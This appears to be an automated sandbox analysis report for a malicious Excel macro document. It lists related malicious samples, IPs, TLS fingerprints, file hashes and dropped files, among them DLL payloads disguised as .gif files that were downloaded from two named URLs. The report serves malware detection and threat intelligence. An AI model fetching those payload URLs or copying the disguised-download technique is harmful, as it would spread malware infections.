	purchase order.exe	Get hash	malicious	Browse	208.91.199.223
	AD1-2001028L.exe	Get hash	malicious	Browse	208.91.199.224
	AD1-2001028L (2).exe	Get hash	malicious	Browse	208.91.199.224
	document-1048628209.xls	Get hash	malicious	Browse	5.100.155.169
	document-1771131239.xls	Get hash	malicious	Browse	5.100.155.169
	document-1370071295.xls	Get hash	malicious	Browse	5.100.155.169
	document-69564892.xls	Get hash	malicious	Browse	5.100.155.169
	document-1320073816.xls	Get hash	malicious	Browse	5.100.155.169
	document-184653858.xls	Get hash	malicious	Browse	5.100.155.169
	document-1729033050.xls	Get hash	malicious	Browse	5.100.155.169
	document-1268722929.xls	Get hash	malicious	Browse	5.100.155.169
	document-540475316.xls	Get hash	malicious	Browse	5.100.155.169
UNIFIEDLAYER-AS-1US	document-1251000362.xlsm	Get hash	malicious	Browse	192.185.48.186
	catalogue-41.xlsb	Get hash	malicious	Browse	108.167.180.111
	documents-1660683173.xlsm	Get hash	malicious	Browse	192.185.56.250
	06iKnPFk8Y.dll	Get hash	malicious	Browse	162.241.54.59
	06iKnPFk8Y.dll	Get hash	malicious	Browse	162.241.54.59
	ddff.exe	Get hash	malicious	Browse	108.179.235.108
	PowerShell_Input.ps1	Get hash	malicious	Browse	162.241.61.203
	New PO#700-20-HDO410444RF217,pdf.exe	Get hash	malicious	Browse	192.185.122.118
	Purchase Order.9000.scan.pdf...exe	Get hash	malicious	Browse	162.241.148.243
	document-1848152474.xlsm	Get hash	malicious	Browse	192.185.48.186
	7z7Q51Y8Xd.dll	Get hash	malicious	Browse	162.241.54.59
	pySsaGoiCT.dll	Get hash	malicious	Browse	162.241.54.59
	QOpv1PykFc.dll	Get hash	malicious	Browse	162.241.54.59
	S4caD0RhXL.dll	Get hash	malicious	Browse	162.241.54.59
	pH8YW11W1x.dll	Get hash	malicious	Browse	162.241.54.59
	7z7Q51Y8Xd.dll	Get hash	malicious	Browse	162.241.54.59
	pySsaGoiCT.dll	Get hash	malicious	Browse	162.241.54.59
	QOpv1PykFc.dll	Get hash	malicious	Browse	162.241.54.59
	S4caD0RhXL.dll	Get hash	malicious	Browse	162.241.54.59
	pH8YW11W1x.dll	Get hash	malicious	Browse	162.241.54.59

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	document-1251000362.xlsm	Get hash	malicious	Browse	143.204.3.74
	NEW LEMA PO 652872-21.ppt	Get hash	malicious	Browse	143.204.3.74
	final po PP-11164.ppt	Get hash	malicious	Browse	143.204.3.74
	OrderSheet.pps	Get hash	malicious	Browse	143.204.3.74
	document-1848152474.xlsm	Get hash	malicious	Browse	143.204.3.74
	Reports-018315.xlsm	Get hash	malicious	Browse	143.204.3.74
	Reports-018315.xlsm	Get hash	malicious	Browse	143.204.3.74
	Sample.doc	Get hash	malicious	Browse	143.204.3.74
	Sample.doc	Get hash	malicious	Browse	143.204.3.74
	documents-575751901.xlsm	Get hash	malicious	Browse	143.204.3.74
	278.xlsm	Get hash	malicious	Browse	143.204.3.74
	1449.xlsm	Get hash	malicious	Browse	143.204.3.74
	documents-1987093434.xlsm	Get hash	malicious	Browse	143.204.3.74
	1737.xlsm	Get hash	malicious	Browse	143.204.3.74
	492.xlsm	Get hash	malicious	Browse	143.204.3.74
	3205.xlsm	Get hash	malicious	Browse	143.204.3.74
	1984.xlsm	Get hash	malicious	Browse	143.204.3.74
	2503.xlsm	Get hash	malicious	Browse	143.204.3.74
	3032.xlsm	Get hash	malicious	Browse	143.204.3.74
	937.xlsm	Get hash	malicious	Browse	143.204.3.74
7dcce5b76c8b17472d024758970a406b	document-1251000362.xlsm	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	FARASIS.xlsx	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	NEW LEMA PO 652872-21.ppt	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-1055791644.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	final po PP-11164.ppt	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	OrderSheet.pps	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-1848152474.xlsm	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	appraisal document.doc	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-1048628209.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-1771131239.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-1370071295.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-69564892.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-1320073816.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-184653858.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-1729033050.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-1268722929.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-540475316.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-1456634656.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-12162673.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87
	document-997754822.xls	Get hash	malicious	Browse	50.87.146.86 192.185.48.186 199.79.62.99 192.185.214.87

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\3003[1].gif	document-1251000362.xlsm	Get hash	malicious	Browse
C:\Users\user\ksjvoefv.skd3	document-1251000362.xlsm	Get hash	malicious	Browse
C:\Users\user\ksjvoefv.skd	document-1251000362.xlsm	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\3003[1].gif	document-1251000362.xlsm	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 58596 bytes, 1 file
Category:	dropped
Size (bytes):	58596
Entropy (8bit):	7.995478615012125
Encrypted:	true
SSDEEP:	1536:J7r25qSSheImS2zyCvg3nB/QPsBbgwYkGrLMQ:F2qSSwIm1m/QEBbgb1oQ
MD5:	61A03D15CF62612F50B74867090DBE79
SHA1:	15228F34067B4B107E917BEBAF17CC7C3C1280A8
SHA-256:	F9E23DC21553DAA34C6EB778CD262831E466CE794F4BEA48150E8D70D3E6AF6D
SHA-512:	5FECE89CCBBF994E4F1E3EF89A502F25A72F359D445C034682758D26F01D9F3AA20A43010B9A87F2687DA7BA201476922AA46D4906D442D56EB59B2B881259D3
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF............,...................I........T........bR. .authroot.stl...s~.4..CK..8T....c_.d....A.K......&.-.J...."Y...$E.KB..D...D.....3.n..u.............\|..=H4..c&.......f.,..=..-....p2.:..`HX......b.......Di.a......M.....4.....i..}..:~N.<..>..V..CX......B......,.q.M.....HB..E~Q...)..Gax../..}7..f......O0...x..k..ha...y.K.0.h..(....{2Y.].g...yw..\|0.+?.`-../.xvy..e......w.+^...w\|.Q.k.9&.Q.EzS.f......>?w.G.......v.F......A......-P.$.Y...u....Z..g..>.0&.y.(..<.].`>... ..R.q...g.Y..s.y.B..B....Z.4.<?.R....1.8.<.=.8..[a.s.......add..).NtX....r....R.&W4.5]....k.._iK..xzW.w.M.>,5.}..}.tLX5Ls3_..).!..X.~...%.B.....YS9m.,.....BV`.Cee.....?......:.x-.q9j...Yps..W...1.A<.X.O....7.ei..a\.~=X....HN.#....h,....y...\.br.8.y"k).....~B..v....GR.g\|.z..+.D8.m..F .h............ItNs.\....s..,.f`D...]..k...:9..lk.<D....u...........[...*.wY.O....P?.U.l....Fc.ObLq......Fvk..G9.8..!..\T:K`.......'.3......;.u..h...uD..^.bS...r........j..j .=...s .FxV....g.c.s..9.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.366016576663508
Encrypted:	false
SSDEEP:	24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
MD5:	D4AE187B4574036C2D76B6DF8A8C1A30
SHA1:	B06F409FA14BAB33CBAF4A37811B8740B624D9E5
SHA-256:	A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7
SHA-512:	1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0..y...H.........j0..f...1.0....H.........N0..J0..2.......D....'..09...@k0....H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0....H.............0..........P..W..be......,k0.[...}.@......3vI.?!I..N..>H.e...!.e..2....w..{........s.z..2..~..0....8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i.....)W..=....]......B0@0...U.......0....0...U...........0...U.........{,q...K.u...`...0....H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..\|.Wv..(9..e...w.j..w.......)...55.1.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	326
Entropy (8bit):	3.129251112301174
Encrypted:	false
SSDEEP:	6:kKwskwTJ0N+SkQlPlEGYRMY9z+4KlDA3RUe0ht:oskwTJrkPlE99SNxAhUe0ht
MD5:	88CEB9D7061AD318A2993C55A226C8EC
SHA1:	8BF49ACB446B780E8CB00E96660D01C3C1D494E1
SHA-256:	4D9C8381803AF46771BBF82F2506A61443B68AAF1D3CE39DFF4836589EFA9D51
SHA-512:	48DBA09F7B51B738F9E7E171FE8B706076764EE0BB3D6F42AFFF00455FA73063E8564316CC52AC9A60E3F6B76A79294C19DF0B0A0E06712087E5443B7299CE93
Malicious:	false
Reputation:	low
Preview:	p...... ...........BW+..(....................................................... ...................$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.d.8.f.4.f.3.f.6.f.d.7.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.0294634724686764
Encrypted:	false
SSDEEP:	3:kkFklwRPtfllXlE/QhzllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB1UAYpFit:kKTZnliBAIdQZV7eAYLit
MD5:	EF045F8B72CA5C3E4B5622FC1B01FBDB
SHA1:	EF176C91D8685B9D0BFDF6FA886B22384D743ADE
SHA-256:	B93900574F8A685A0598665CF9580F3F66E63C456E668C510625CC107EBB4703
SHA-512:	CAF6B068DF3F340635D068EBD4AC5AF2BE7CF6773D331B33EDD9DE683A31D5BFF92C169DA1B6E818F384549D072F7C2C3583F3869CF502B41466251F18EF0AFD
Malicious:	false
Reputation:	low
Preview:	p...... ....`......AW+..(....................................................... ........u.........(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.5.9.e.7.6.b.3.c.6.4.b.c.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\3003[1].gif Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (native) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	46867
Entropy (8bit):	5.063576400987857
Encrypted:	false
SSDEEP:	768:RHppffnqCuZgKEq2OqmBhw9+eyA/Dj74zZ/mgxH7Wgagg1nXFJBMq/umJUZp:NDqvHEbsBneyAbniZPWznfBL/nM
MD5:	F029290EA011A5F9C6F7880F35D23A1B
SHA1:	384FB5A582A4AA67E0BE9716D5E260258E2FA3B2
SHA-256:	A7B8E0DF5276942405D485EB808FA19B24E42D9758CACF1515028122755C2513
SHA-512:	DC2525087DDD8AAC2DCE2C74D5C32A93C474F7C9692C8ED7FBF26B106C58734DB16B2DEE0892FDAC51CCB8ACE4A3C8F1EFBD4B65EAA5F9ADAB4A15E908168CA7
Malicious:	true
Joe Sandbox View:	Filename: document-1251000362.xlsm, Detection: malicious, Browse
Reputation:	low
IE Cache URL:	https://metaflip.io/ds/3003.gif
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%.o.a...a...a...q...d...q...`...q...`...Richa...........................PE..d.....c`.........." ................................................................O:....`..........................................!..L............................................ ...............................................................................text...2........................... ..`.rdata....... ......................@..@.data...X@...0...B..................@....pdata...............Z..............@..@.ndata...O.......P...\..............@...................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\3003[1].gif Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	255317
Entropy (8bit):	5.733275351438473
Encrypted:	false
SSDEEP:	3072:OCHCrCVCVC/CtCczk8PkyGtzjU0c28vPr:Wk8PpIzw0c2sP
MD5:	94233B243340F796260350A45DBC7D46
SHA1:	EA8F87964CE33A381F8779AD212907FC30CC470F
SHA-256:	BF4D7AAF16DD3806DB0C54096EE9CAF23316C2A6C9D1F6ABC55B39215E88F685
SHA-512:	ACD727A7CE66D3170A828249F563BDF38177648E17548A1AE0FB4E0821E9C0EB8177919C880C7AE43841F31285BA7899EF75578C84860EE9F1A20EF8A8EBD1AF
Malicious:	true
Joe Sandbox View:	Filename: document-1251000362.xlsm, Detection: malicious, Browse
IE Cache URL:	https://tajushariya.com/ds/3003.gif
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........dhF.............g.......................c.......c......Rich............................PE..d.....e`.........." .........................................................`............`.............................................d...d...P............P..........................................................................p............................text.............................. ..`.rdata...T.......V..................@..@.data...P@.......B..................@....pdata.......P......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\53446F21.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	557
Entropy (8bit):	7.343009301479381
Encrypted:	false
SSDEEP:	12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd
MD5:	A516B6CB784827C6BDE58BC9D341C1BD
SHA1:	9D602E7248E06FF639E6437A0A16EA7A4F9E6C73
SHA-256:	EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074
SHA-512:	C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35
Malicious:	false
Preview:	.PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8Oc.......l.9a._.X....@.`ddbc.]...........O..m7.r0\|..."......?A.......w..;.N1u........_.[.\Y...BK=...F +.t.M~..oX..%....211o.q.P.".......y...../..l.r...4..Q]..h.....LL.d.......d....w.>{.e..k.7.9y.%.. .YpI...{.+Kv......./..\[...A....^.5c..O?.......G...VB..4HWY...9NU...?..S..$..1..6.U.....c... ....7..J. "M..5. ............_.......d.V.W.c.....Y.A..S....~.C.....q........t?..."n.....4......G_......Q..x..W.!L.a...3....MR.\|.-P#P;..p._.......jUG....X........IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\58F9CAAE.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.595467031611744
Encrypted:	false
SSDEEP:	24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc
MD5:	02DB1068B56D3FD907241C2F3240F849
SHA1:	58EC338C879DDBDF02265CBEFA9A2FB08C569D20
SHA-256:	D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F
SHA-512:	9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678
Malicious:	false
Preview:	.PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8O.T]H.Q..;3...?..fk.lR..R$.R.Pb.Q...B..OA..T$.hAD...J../..-h...fj..+....;s.vg.Zsw.=...{.w.s.w.@.....;..s...O........;.y.p........,...s1@ Ir.:... .>.LLa..b?h...l.6..U....1....r.....T..O.d.KSA...7.YS..a.(F@....xe.^.I..$h....PpJ...k%.....9..QQ....h..!H................./....2..J2..HG....A....Q&...k...d..&..Xa.t..E....E..f2.d(..v.~.P.+.pik+;...xEU.g....._xfw...+...(..pQ.(..(.U./..)..@..?..........f.'...lx+@F...+....)..k.A2...r~B,....TZ..y..9...`..0....q....yY....Q.......A.....8j[.O9..t..&...g. I@ ..;..X!...9S.J5..'.xh...8I.~.+...mf.m.W.i..{...+>P...Rh...+..br^$. q.^.......(..._.j...$..Ar...MZm\|...9..E..!U[S.fDx7<....Wd.......p..C......^MyI:...c.^..SI.mGj,.......!...h..$..;...........yD./..a...-j.^:.}..v....RQY.^......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\95DC83A0.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 205 x 58, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	8301
Entropy (8bit):	7.970711494690041
Encrypted:	false
SSDEEP:	192:BzNWXTPmjktA8BddiGGwjNHOQRud4JTTOFPY4:B8aoVT0QNuzWKPh
MD5:	D8574C9CC4123EF67C8B600850BE52EE
SHA1:	5547AC473B3523BA2410E04B75E37B1944EE0CCC
SHA-256:	ADD8156BAA01E6A9DE10132E57A2E4659B1A8027A8850B8937E57D56A4FC204B
SHA-512:	20D29AF016ED2115C210F4F21C65195F026AAEA14AA16E36FD705482CC31CD26AB78C4C7A344FD11D4E673742E458C2A104A392B28187F2ECCE988B0612DBACF
Malicious:	false
Preview:	.PNG........IHDR.......:......IJ.....sRGB.........pHYs..........+.... .IDATx^..\....}.\6"Sp...g..9Ks..r..=r.U....Y..l.S.2...Q.'C............h}x........... ......\..N...z....._.\|......III.666...~~~..6l.Q.J...\..m..g.h.SRR.\.p....'N...EEE...X9......c.&M...].n.g4..E..g...w...{..]..;w..I...y.m\...~..;.].3{~..qV.k..._....?..w/$GlI\|..2. m,,,.-[.....sr.V1..g...on...........dl.'...'''[[[.R.......(..^...F.PT.Xq..Mnnn.3..M..g.......6.....pP"#F..P/S.L...W.^..o.r.....5H......111t....\|9..3...`J..>...{..t~/F.b..h.P..]z..)......o..4n.F..e...0!!!......#""h.K..K.....g.......^..w.!.$.&...7n.].F.\\\.A....6lxjj.K/........g.....3g......f....:t..s..5.C4..+W.y...88..?.,Y. .^...8{.@VN.6....Kbch.=zt...7+T....v.z....P........VVV..."t.N......$..Jag.v.U...P[(_.I?.9.4i.G.$U..D......W.r...........!>\|..#G...3..x.b......P....H!.Vj......u.2..*;..Z..c..._Ga....&L.......`.1.[.n].7..W_m..#8k...)U..L.....G..q.F.e>..s.......q....J....(.N.V...k..>m....=.).

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D66E9ED7.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 485 x 185, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	34789
Entropy (8bit):	7.988267796017535
Encrypted:	false
SSDEEP:	768:+D5XH0YsPc/wBfkpz/srsnYlCO20quHVkKAPH+leFbMLezAIt:+D5XUYz/wBf8orsEwHKynWLmAQ
MD5:	13CE435F07ADD2BEABD4A860755B489D
SHA1:	6CB356E6EA48633D56B49E578039818E493D364F
SHA-256:	AA2172D7F8454BEF43575C8877FCA816254D49BE7A9AF420B0C7FEE0169058E4
SHA-512:	E3E0C4541C1299494E8BC5C597E5913B06A1D481E125241C538D634CE2119BFCED14424C2E537A9EE036927E9955688D914DC56550E83B683B2D065E67FA037C
Malicious:	false
Preview:	.PNG........IHDR..............i......sRGB.........pHYs..........+......IDATx^....]U.?.L....$...........`....}..kY]{].+....!H...:IHH.u2..?wN.>^...d2I.%.3..{....9..;....NUOO..J5.j`.h.......{.G6l....y..k......\|gGG....;...y.:.#.8b...z@j.*.....R...........Y.}....k........---~...{v...G...5r..1.....>.h..h..c...z.B...R.. E..9X5.g....M.._.L...}.5.....;....?.....p j .....R.......p.....C..{..>..=......?.y.{..._...L.R]].O_..>.4...`k.T.....;w.o...;.c.......@w......:u.3........OO!{.t>x^....i.T.A...\|.w....U......{..mC.1......+..K._dH_:..H.z.u........>.......^C.AR....\}..x.+.M.6HDJ...H.z..7-..........?\|....\|..6....(Ke...o..._..I.&..`z......VKe...Z...o~s.u.-[..a..d......w...o{...PF.......vJ..0........o...T.......s.y.;.q.e...................D.@j$5.......z ..O..>\|..W^...~PTd?...3.5...`l.T......q.......O..S?.P..........\|..kMMMf.x..wt......-..7...Z.=...........6..K.5..H.z ...k.i`..0.R3..l.....b..2}.tQ-.f.<y.9s.MCm..".3_....[.n./h{...?I.z...+V.

C:\Users\user\AppData\Local\Temp\8BCE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	108032
Entropy (8bit):	7.906565072009926
Encrypted:	false
SSDEEP:	3072:GJYRWZxNFcWr5qXDzPjEwqtDGko+bJ99K7meX7pr2:GW82jYDs+d9imeX7pr2
MD5:	6DFFC9D8B1D0629DD0001C937205F1A0
SHA1:	2B9A6CE29E76A875A6C6C124F74D350084E260BC
SHA-256:	14792FE8A6C1F64937345789A4CC3BEB12FB226E707A9D31C4385024DC13DC56
SHA-512:	3386429EA4FA27BB7C512C5CEAF508120C4A1EFF7793E380BB53CD047B11A86D8DBFB92987AA23A497B5B619BD7EAB892FDE93E0038E83E6E6ADFD704094F482
Malicious:	false
Preview:	.U.N.0..#.?D....#4j.b........mb./..h..k7.......>......."j.Zv.LX.Nz.]..wW.9.0.....Z..d...'.u....e}J.7.({........G+.....B.E..l2..w.\.S.`.._X.{....].8.k.?...T.D.FK..(.pjG.........D.`. ....&DM...R.`..^...Mm..\|}?"........%..:.O*.B^9...G.....F.t-,..W.?...{.l...2-..`..Xc......Z..=;<.T.....;$.>$../').#>.....y..m..za.....b.}S.D..x..\|.f$8.......1.^DP...t...^s..PQ<f.\|......c.4.n..H.4.....=.]."..4l....U...q....y.+P{.yy.........PK..........!...`.............[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CabD644.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 58596 bytes, 1 file
Category:	dropped
Size (bytes):	58596
Entropy (8bit):	7.995478615012125
Encrypted:	true
SSDEEP:	1536:J7r25qSSheImS2zyCvg3nB/QPsBbgwYkGrLMQ:F2qSSwIm1m/QEBbgb1oQ
MD5:	61A03D15CF62612F50B74867090DBE79
SHA1:	15228F34067B4B107E917BEBAF17CC7C3C1280A8
SHA-256:	F9E23DC21553DAA34C6EB778CD262831E466CE794F4BEA48150E8D70D3E6AF6D
SHA-512:	5FECE89CCBBF994E4F1E3EF89A502F25A72F359D445C034682758D26F01D9F3AA20A43010B9A87F2687DA7BA201476922AA46D4906D442D56EB59B2B881259D3
Malicious:	false
Preview:	MSCF............,...................I........T........bR. .authroot.stl...s~.4..CK..8T....c_.d....A.K......&.-.J...."Y...$E.KB..D...D.....3.n..u.............\|..=H4..c&.......f.,..=..-....p2.:..`HX......b.......Di.a......M.....4.....i..}..:~N.<..>..V..CX......B......,.q.M.....HB..E~Q...)..Gax../..}7..f......O0...x..k..ha...y.K.0.h..(....{2Y.].g...yw..\|0.+?.`-../.xvy..e......w.+^...w\|.Q.k.9&.Q.EzS.f......>?w.G.......v.F......A......-P.$.Y...u....Z..g..>.0&.y.(..<.].`>... ..R.q...g.Y..s.y.B..B....Z.4.<?.R....1.8.<.=.8..[a.s.......add..).NtX....r....R.&W4.5]....k.._iK..xzW.w.M.>,5.}..}.tLX5Ls3_..).!..X.~...%.B.....YS9m.,.....BV`.Cee.....?......:.x-.q9j...Yps..W...1.A<.X.O....7.ei..a\.~=X....HN.#....h,....y...\.br.8.y"k).....~B..v....GR.g\|.z..+.D8.m..F .h............ItNs.\....s..,.f`D...]..k...:9..lk.<D....u...........[...*.wY.O....P?.U.l....Fc.ObLq......Fvk..G9.8..!..\T:K`.......'.3......;.u..h...uD..^.bS...r........j..j .=...s .FxV....g.c.s..9.

C:\Users\user\AppData\Local\Temp\TarD645.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	152788
Entropy (8bit):	6.309740459389463
Encrypted:	false
SSDEEP:	1536:TIz6c7xcjgCyrYBZ5pimp4Ydm6Caku2Dnsz0JD8reJgMnl3rlMGGv:TNqccCymfdmoku2DMykMnNGG0
MD5:	4E0487E929ADBBA279FD752E7FB9A5C4
SHA1:	2497E03F42D2CBB4F4989E87E541B5BB27643536
SHA-256:	AE781E4F9625949F7B8A9445B8901958ADECE7E3B95AF344E2FCB24FE989EEB7
SHA-512:	787CBC262570A4FA23FD9C2BA6DA7B0D17609C67C3FD568246F9BEF2A138FA4EBCE2D76D7FD06C3C342B11D6D9BCD875D88C3DC450AE41441B6085B2E5D48C5A
Malicious:	false
Preview:	0..T....H.........T.0..T....1.0...`.H.e......0..D...+.....7.....D.0..D.0...+.....7..........\|h....210303062855Z0...+......0..D.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed Apr 7 01:39:37 2021, atime=Wed Apr 7 01:39:37 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.47886585355245
Encrypted:	false
SSDEEP:	12:85QYcLgXg/XAlCPCHaXtB8XzB/vGUEX+WnicvbwbDtZ3YilMMEpxRljKlcTdJP9O:85FK/XTd6j4YegDv3qfrNru/
